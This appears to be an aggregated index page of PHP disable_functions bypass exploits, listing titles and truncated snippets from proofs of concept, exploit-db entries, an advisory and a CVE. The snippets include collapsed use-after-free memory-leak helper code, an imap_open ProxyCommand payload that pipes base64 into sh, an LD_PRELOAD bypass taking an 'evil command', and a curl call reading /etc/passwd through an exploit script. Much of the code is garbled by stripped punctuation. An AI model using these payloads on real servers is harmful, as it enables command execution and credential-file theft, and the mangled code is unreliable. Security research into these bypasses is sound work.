TimeAfterFree

TimeAfterFree PHP 8 sandbox escape PoC demonstrating a disablefunctions bypass on Unix-like systems. This exploit leverages a use-after-free bug to bypass disablefunctions and execute system commands. The exploitation techniques used for leaking heap pointers and obtaining read/write primitives...

Chankro

Chankro Tu herramienta favorita para evadir disablefunctions y openbasedir en tus pentests. Cómo funciona PHP en Linux llama a un binario sendmail cuando se ejecuta la función mail. Si tenemos permitido putenv, podemos establecer la variable de entorno "LDPRELOAD", para poder precargar un objeto...

php-bypass-disable-functions

php-bypass-disable-functions Demo project how to bypass the disablefunctions security control of PHP on Linux, where processes can inspect and even write their own memory via the special /proc/self/map file via standard file operations open/seek/read/write. Tested on PHP 7.3.5, x8664 Linux See...

bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php has three GET options: cmd, outpath and sopath. The options are very simple, cmd is your evil command, outpath is the output file path of the command readable and writable, sopath is the absolute path of our shared object bypassdisablefuncx64.so. For example:...

Exploit for Out-of-bounds Write in Php

CVE-2026-17544 — PHP bcmath OOB write → universal memory-only...

PHPUnit has Argument injection via newline in PHP INI values that are forwarded to child processes

Impact PHPUnit forwards PHP INI settings to child processes used for isolated/PHPT test execution as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newli...

PHP 7.4 FFI disable_functions Bypass

?php / FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system$cmd without using FFI::load or FFI::cdefs BUG 1 maybe intended, but why have any size checks then? no bounds check for FFI::String when type is ZENDFFITYPEPOINTER...

PHP 7.0 7.4 (Unix) - debug_backtrace disable_functions Bypass

PHP 7.0 7.4 Unix - debugbacktrace disablefunctions Bypass a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8;...

PHP 7.0 < 7.4 (Unix) - 'debug_backtrace' disable_functions Bypass

a; $backtrace = new Exception-getTrace; ; if!isset$backtrace1'args' PHP = 7.4 $backtrace = debugbacktrace; class Helper public $a, $b, $c, $d; function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$...

PHP 7.3 disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.0 < 7.3 (Unix) - 'gc' disable_functions Bypass

= 0; $j-- $address = 8; return $out; function write&$str, $p, $v, $n = 8 $i = 0; for$i = 0; $i = 8; function leak$addr, $p = 0, $s = 8 global $abc, $helper; write$abc, 0x68, $addr + $p - 0x10; $leak = strlen$helper-a; if$s != 8 $leak %= 2 $s 8 - 1; return $leak; function parseelf$base $etype =...

PHP 7.x disable_functions Bypass

= 8; public function str2ptr&$str, $p = 0, $s = 8 $address = 0; for$j = $s-1; $j = 0; $j-- $address = 8; return $out; unable to leak ro segments public function leak1$addr global $spl1; $this-write$this-abc, 8, $addr - 0x10; return strlengetclass$spl1; the real deal public function leak2$addr, $p...

PHP 5.2.3 imap (Debian Based) - imap_open disable_functions Bypass

PHP 5.2.3 imap Debian Based - imapopen disablefunctions Bypass /tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...

PHP 5.2.3 imap (Debian Based) - 'imap_open' disable_functions Bypass

/tmp/test0001 $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh"; imapopen''.$server.':143/imapINBOX', '', '' or die"\n\nError: ".imaplasterror;...

Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass

Imagick 3.3.0 PHP 5.4 - disablefunctions Bypass Exploit Title: PHP Imagick disablefunctions Bypass Date: 2016-05-04 Exploit Author: RicterZ [email protected] Vendor Homepage: https://pecl.php.net/package/imagick Version: Imagick = 5.4 Test on: Ubuntu 12.04 Exploit: $ curl...

Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass

Exploit Title: PHP Imagick disablefunctions Bypass Date: 2016-05-04 Exploit Author: RicterZ [email protected] Vendor Homepage: https://pecl.php.net/package/imagick Version: Imagick = 5.4 Test on: Ubuntu 12.04 Exploit: $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" Disable functions:...

CVE-2007-5424

The disablefunctions feature in PHP 4 and 5 allows attackers to bypass intended restrictions by using an alias, as demonstrated by using inialter when iniset is disabled...

PHP 5.5.9 - zend_executor_globals CGIMode FPM WriteProcMemFile disable_functions Bypass Load Dynamic Library

PHP 5.5.9 - zendexecutorglobals CGIMode FPM WriteProcMemFile disablefunctions Bypass Load Dynamic Library ?php // EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zendexecutorglobals-to-bypass-php-disablefunctions.pdf errorreporting0x66778899; settimelimit0x41424344;...

PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection

Exploit Title: PHP 5.x Shellshock Exploit bypass disablefunctions Google Dork: none Date: 10/31/2014 Exploit Author: Ryan King Starfall Vendor Homepage: http://php.net Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror Version: 5. tested on 5.6.2 Tested on: Debian 7 and CentOS 5 an...

Verlihub Control Panel <= 1.7.x Local File Inclusion Vulnerability

No description provided by source. Verlihub Control Panel v 1.7 PHP 4.x Local File Inclusion http://vhcp.verlihub- project.org/ Bug Found By Methodman From TEAMELITE - dchub.nemesis.te-home.net:4120 Bug: Line: 27 - inisetmagicquotesgpc,1; ............................ Line: 71 - $pagename =...